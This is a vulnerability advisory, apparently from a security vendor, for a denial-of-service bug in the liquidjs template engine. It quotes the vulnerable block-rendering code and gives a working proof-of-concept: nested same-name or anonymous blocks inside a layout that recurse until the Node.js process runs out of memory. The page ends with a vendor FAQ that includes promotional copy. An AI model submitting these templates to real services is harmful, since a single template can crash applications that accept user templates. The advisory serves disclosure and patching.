CVE-2026-41311

A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.

Details

In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.

Relevant code (src/tags/block.ts, getBlockRender method):

private getBlockRender (ctx: Context) {
  const { liquid, templates } = this
  const renderChild = ctx.getRegister('blocks')[this.block]
  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
    ctx.push({ block: superBlock })
    yield liquid.renderer.renderTemplates(templates, ctx, emitter)
    ctx.pop()
  }
  return renderChild
    ? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
        new BlockDrop(
          (emitter: Emitter) => renderCurrent(superBlock, emitter)
        ),
        emitter)
    : renderCurrent
}

When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on, infinite loop.

PoC

1. Create a layout file (layout.html):

<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>

2. Create a template that uses the layout:

{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}

3. Render:

const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM

The anonymous block variant also triggers the same issue:

{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}

Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates, such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input, can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.

CVE-2026-41311 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.25.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41311? CVE-2026-41311 is a high-severity security vulnerability in liquidjs (npm), affecting versions < 10.25.7. It is fixed in 10.25.7.
2. How severe is CVE-2026-41311? CVE-2026-41311 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of liquidjs are affected by CVE-2026-41311? liquidjs (npm) versions < 10.25.7 is affected.
4. Is there a fix for CVE-2026-41311? Yes. CVE-2026-41311 is fixed in 10.25.7. Upgrade to this version or later.
5. Is CVE-2026-41311 exploitable, and should I be worried? Whether CVE-2026-41311 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41311 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41311? Upgrade liquidjs to 10.25.7 or later.